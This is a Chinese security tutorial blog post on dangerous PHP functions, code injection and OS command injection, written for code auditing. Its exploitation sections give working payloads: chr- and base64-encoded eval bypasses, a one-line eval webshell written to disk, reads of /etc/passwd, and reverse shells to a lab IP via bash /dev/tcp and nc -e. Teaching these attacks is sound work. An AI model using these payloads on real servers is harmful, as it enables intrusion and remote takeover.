【PHP危险函数】


PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容

PHP 代码执行语句

eval

eval() 会将符合PHP 语法规范字符串当作php 代码执行。
在这里插入图片描述
在这里插入图片描述虽然可以以函数的方式调用eval(),但是eval() 不是PHP 的函数,而是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束。

一句话木马原型

如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:

  • ASCII 编码
system('whoami');

chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));
  • BASE64 编码
system('whoami');

c3lzdGVtKCd3aG9hbWknKTs=?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));

其他命令执行方式

?code=phpinfo();

?code=${phpinfo()};

?code=xiu;phpinfo();

?code=?>xiu IS HANDSOME<?php phpinfo();

?code=eval(phpinfo());

assert

assert() 会将字符串当做PHP 代码来执行。
在这里插入图片描述在这里插入图片描述说明:

  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,assert() 被弃用。

preg_replace

preg_replace() 函数的作用是对字符串进行正则匹配后替换。
在这里插入图片描述搜索 s u b j e c t 中匹配 subject 中匹配 subject中匹配pattern 的部分,以$replacement 进行替换。
在这里插入图片描述说明

  • preg_replace() 函数中第一个参数是正则表达式,e 是正则表达式的修饰符。

call_user_func

用于调用用户指定的可调用函数

function add($a, $b) {
    return $a + $b;
}

$result = call_user_func('add', 1, 2);
echo $result; // 输出:3
<?php
// call_user_func.php

$func = 'assert';
$arg = "phpinfo();";

call_user_func($func, $arg);

array_map

有一个数组 arr1=array(1,2,3,4,5);我们想要将每个数加上2并存储到另一个数组 arr2 中,可以使用 array_map:
在这里插入图片描述
在这里插入图片描述

动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
在这里插入图片描述
在这里插入图片描述

OS 命令执行函数

system

system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。
在这里插入图片描述
在这里插入图片描述
说明:

  • 自带输出功能。
  • 自动区分系统平台。

exec

在这里插入图片描述

在这里插入图片描述

函数特点:

  • 需要输出命令执行结果。
  • 只输出命令执行结果的最后一行,约等于没有回显。

shell_exec

在这里插入图片描述
在这里插入图片描述说明

  • 需要输出命令执行结果。

passthru

在这里插入图片描述在这里插入图片描述说明:

  • 自带输出功能。

popen

在这里插入图片描述
在这里插入图片描述

说明:

  • 函数返回值为文件指针,可以简单理解为文件名。

反引号

反引号` 内的字符串,会被解析成OS 命令。

在这里插入图片描述
在这里插入图片描述

RCE

RCE是“远程代码执行”(Remote Code Execution)的缩写,是一种能够让攻击者在远程服务器上执行任意代码的攻击手段。攻击者可以通过RCE攻击,攻击服务器上的数据和应用程序,甚至控制整个系统。

RCE攻击通常是在应用程序的输入验证或输出渲染中利用漏洞来实现的。当应用程序的输入验证不充分时,攻击者可以利用未经正确过滤的用户输入向应用程序注入恶意代码。恶意代码可以利用应用程序的漏洞,访问和修改服务器上的任意文件和数据,并在服务器上执行任意指令。

RCE攻击可以导致各种危害,如泄露敏感数据、修改或删除数据、破坏系统稳定性、发起DDoS攻击等。为了避免RCE攻击,开发人员应加强应用程序的输入验证,确保输入的数据都是合法且具有正确的格式,同时过滤掉异常或恶意的输入。还应定期更新应用程序和相关组件,及时修复漏洞,防止攻击者利用已知漏洞实施攻击。服务器管理员应加强服务器的安全性,提高安全防护能力,以预防RCE等恶意攻击。

总之,对于软件开发人员和系统管理员都应加强对于RCE攻击的认识,并且采取相应的防范措施,以保障系统的安全性和稳定性。

PHP代码注入

原理

传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。

危害

Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。

如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

漏洞利用

代码执行漏洞的利用方式有很多种。
获取Shell,菜刀可以直接连接

shell: http://127.0.0.1/eval.php
pass: code

获取当前文件的绝对路径

?code=print(__FILE__);

读文件

?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));

写文件

?code=file_put_contents('shell.php','<?php phpinfo();?>');

OS 命令注入漏洞

原理

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

危害

  • 继承Web 服务器程序权限,去执行系统命令;
  • 继承Web 服务器权限,读写文件;
  • 反弹Shell
  • 控制整个网站,控制整个服务器。

漏洞利用

查看系统文件(读)

?cmd=type c:\windows\system32\drivers\etc\hosts
?cmd=cat /etc/passwd

显示当前路径

?cmd=cd

写文件

?cmd=echo ^<^?php phpinfo();^?^> > shell.php
?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php
?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php

执行某一个程序

?cmd=c:\windows\system32\calc.exe

反弹Shell

#   本机监听
nc -lnvp 1234

#   Linux 下反弹Shell      
?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1
?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash

#   Windows 反弹Shell
?cmd=nc.exe -e cmd.exe 10.4.7.1 1234

防御

  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
  • 参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值